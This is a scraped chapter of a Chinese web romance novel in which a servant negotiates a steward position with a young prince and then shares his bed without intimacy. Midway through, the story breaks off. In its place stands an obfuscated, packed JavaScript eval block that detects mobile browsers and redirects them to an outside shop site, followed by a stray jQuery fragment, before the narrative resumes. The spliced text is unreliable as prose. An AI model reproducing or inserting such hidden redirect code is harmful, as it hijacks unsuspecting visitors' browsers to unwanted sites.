文趣网 > 其他小说 > 天下郎君皆笑纳 > 15. 裴绍卿
    “你想当管事?”裴绍卿挑了挑眉。

    “合着方才哭那么惨……就是为了这个?”

    时安迎上他那双桃花眼:“小殿下不肯放人,又不肯给文书,奴婢总得为自己找条活路吧……”说着,她又垂下眼睫,小声道,“不然……奴婢的那些话,岂不全白白费了吗?”

    裴绍卿松开她的手,抱起胳膊,饶有兴味地看她。这女人当真有趣,郡王妾室那么好的活路,他提了两次,她两次拒绝,第一次是装傻,第二次索性翻脸。

    唾手可得的东西,她不要,偏要自己来抢。他高低得瞧瞧她是怎么个抢法,便问:“可你凭什么觉得我会答应你?”

    若放在两人初遇时,时安的确无凭无据。然而两日相处下来,她大致摸清了他的脾性,裴绍卿这个人吧,平日言语刻薄,看似难以亲近,实则面冷心热。哪怕她没几件事是顺他意的,他也从未真正苛责过她。

    如此纵容,若不即刻兑点好处,未免也太亏了些。管事之位,于她举足轻重,于他不过随口一言。

    所以她答得干脆:“您愿意听奴婢说,说说明您心里,早动了换掉胡管事的念头。”

    她稍顿,似在斟酌措辞,过了一会才接着往下说:“您看,奴婢的事,王妃当天就知道了。奴婢不敢说胡管事是故意通风报信,但他约束不力,总是推不掉的。而且——”

    “一次不忠,百次不用。您不如就换奴婢来。往后您不愿王妃知晓的事,王妃断不会知晓。至少……”

    “不会从奴婢这儿知晓。”

    “啧,你还真敢说啊。可是……”裴绍卿轻咂一声,附俯身欺近。气场沉沉压来,逼得时安步步后退。退至桌旁,实在退无可退,她只好伸手撑住桌沿。

    见她如此紧绷,裴绍卿的桃花眼里浮起一丝狭促,故意再往前凑近半寸,伏在她耳边道:“胡管事好歹跟了我十几年……你呢,这才几日,就想骗我把身家性命交到你手上?”气息擦过她耳廓,他顿了顿,慢悠悠地补了句:“你让我怎么信你?”

    温热话语尽数扑在耳上,时安多少有些耳热。她不由别过脸去,堪堪避开那股惹她发痒的呼吸。

    她当然知道他在试探,大可直接回绝的事,他偏要这般,哪里是真的为难,分明是想等她拿出一个能打动他的说法来……

    没道理他百般逗弄,她却只能白白认栽,于是她竭力踮起脚尖,主动环住他的脖颈,唇-瓣贴上他耳廓,声音甜酿酿、热呼呼:“您先前不是恼奴婢不肯低头求您,那奴婢现在好好求您,求您准奴婢做这个管事,这样您也不肯答应吗?”

    她一心惦记着管事的位置,压根没意识到自己这副模样有多撩-人,裴绍卿哪里招架得住,当即像被踩了尾巴的猫一样弹开,浑身的毛都炸了起来。

    瞧他那么大反应,时安心里畅快了不少,趁势道:“胡管事在王妃面前闹了那般大的纰漏,这管事之位横竖都是要换人的。无非早换晚换,您换还是王妃换罢了。”

    说到这里,她仰头看他:“奴婢觉得您会想先换。”

    裴绍卿没有接话,只舌尖顶腮,拿桃花眼似笑非笑地觑着她。还有一点她没明说,以胡管事的脾性,是没法陪他演这出纨绔戏码的,但她却可以。

    他当然知道她满肚子坏水,可……

    她都求他了……

    唉,正要松口,不知怎的又想起她死活不肯给他做妾的事,一口闷气悬在胸口,不上不下,末了化作一声冷哼:“我可以答应你。”

    时安眼睛一亮。

    “但我有条件。”

    “小殿下请讲。”

    裴绍卿居高临下地盯着她:“第一,只是暂代,且罚俸照旧,这半年里你一文钱也拿不到。干得好,管事之位自然是你的;干不好——”

    他拖长了尾音:“也别怪我不讲情面。”

    “奴婢遵命。”时安点头应下。

    “第二。”裴绍卿弯下腰,凑近她的脸,“你不能擅自出府。要出府办事,须得经我准许。”

    时安眸光微闪:“这是为何?”

    “你是罪籍,出府被人认出来,惹了麻烦,最后还是落到我头上。”裴绍卿说得理所当然,“我得替你兜着,自然得知道你的行踪。”

    这话听起来合情合理,可时安总觉得,他还有别的意思,想了想还是没有深究,依旧点头应下:“奴婢记下了。”

    “第三。”裴绍卿勾了勾唇角,露出几分坏相,“你得……”他声音忽然矮了半截。

    见他迟迟不肯往下说,时安并不意外,果然,还是要提那种要求。

    谁知,片刻后,却听他道:“算了,没有第三。”

    裴绍卿别过脸去,耳根泛起一层薄红。这女人算计他、利用他,他怎么还想着让她搬过来同住?!他一定是酒吃多了,脑子不清醒!

    把话咽回肚里,他不耐烦地挥了挥手:“算了,就这两条。你应不应?”

    时安生怕他会反悔,当即重重点头。

    虽说罚了半年月钱,还禁了出门,可到底,管事的位置是她的了,等她站稳了脚跟,早晚搞到放良文书,离开这里。

    裴绍卿还以为她会讨价还价,没想到她答应得如此爽快。

    “你……这就答应了?”他有些不相信。

    “小殿下提出的条件合情合理,奴婢没有不答应的道理。”她姿态恭谨。

    裴绍卿心里反倒不痛快起来:“你就没有什么要争取的?比如……少减几个月的俸禄?”

    时安摇摇头。

    “……放宽出府的次数?”

    时安还是摇头。

    裴绍卿彻底没话说了,挠了挠后脑勺,憋了半天,憋出一句:“那、那你……”

    时安愣了愣,凝眸打量他,见他神情别扭,不觉垂下眼帘,唇角微抿:“小殿下这是……”她声音放轻了些,“想让奴婢留下?”

    留下了意味着什么,她心里清楚,无非是同他做些亲密的事罢了。

    只是,寻常人回忆完那般沉痛的过往,哪还有心思温存?除非…

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17826995|211258||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    …

    裴绍卿几乎是立刻得出了最坏的结论。

    除非她还是把这当成是一种交易!

    可恶,她把他当什么了?是个女人就往床上拉?但想想两人的遭遇,她这么以为似乎又情有可原。越琢磨越憋闷,他故意伸手,作势要碰她的脸,隐隐期盼她会挣扎、推开、用她那双倔强的眼睛瞪他。

    事实却相去甚远。

    她只是立着,静静地立着。

    他瞬间哑火。

    从未有哪一刻,像现在这样,他情愿自己真是个纨绔。那样,他就可以拉过她做些肆无忌惮的事。反正她不排斥,他也不抗拒,何需跟自己过不去?

    裴绍卿的手停驻半晌,最后只轻轻将她颊边的碎发拨到耳后:“少自作多情了,我还没缺女人到这个份上,答应你,不过是瞧你可怜,又还算有些见识。左右都是要换人的,换谁不是一样?”

    时安瞥了眼悬在颊边的手,待它收回去了,才缓缓抬眼,一双眸子盈盈地望着他。

    “奴婢明白的,小殿下是个磊落人,不屑占奴婢这点便宜,奴婢感激您还来不及呢。便是您真要做点什么,奴婢也断没有推托的道理。只是……”

    她微微垂睫,带了几分央求的意味:“只是方才,您当着王妃的面拉走了奴婢,若这会子撵奴婢出去,只怕奴婢明日就要被嚼碎了吞下去的。”

    “奴婢不吵您,就在外间候着,天一亮就走。”

    裴绍卿莫名有些心虚,他这般年纪,机会摆在眼前,说不想,完全就是自欺欺人。之前守着,不过因为他出身公侯,对男女之事有自己的讲究,若非时安不按常理出牌,他才不会轻易失守呢。

    但她那么说了,无非就是觉得他一定会趁势占她便宜。

    虽然他并不在乎她如何看待自己,但也决不允许她这般曲解自己。

    得,今日无论如何都不动她,非得叫她知道,自己没那么浅薄。

    思及此,他大步走到榻边,把唯一一床薄被兜头扔她怀里。

    “过来睡吧,我不动你。”他背过身去蜷成一团。

    时安望着他的背影,莫名有些恍惚。她都做好准备躲不掉了,他却放过她了,这什么意思?

    她抱着被子站了一会儿,迟疑着开口:“要不奴婢再拿一床被子来?”

    裴绍卿像只挨过训的猫咪,闷声道:“拿什么拿,都什么时辰了,底下的人早歇下了。即便是做下人的,也该让人睡觉罢。”

    身后迟迟没有动静。

    “等什么呢?”他声音带着几分不耐烦,“过来睡吧。”

    时安不好与他僵持,只得褪了鞋袜,侧身躺上寝榻。

    哪知,身子刚挨着枕沿,那人的气息便如游丝一般,丝丝缕缕地缠了上来,怎么也赶不走。

    她隐隐有些发毛,想找个借口去别处歇息。

    正要开口——

    却听那人说:“又不是没同榻过,只管躺着吧。”

    时安叹了口气,抖开被子,把自己裹了进去。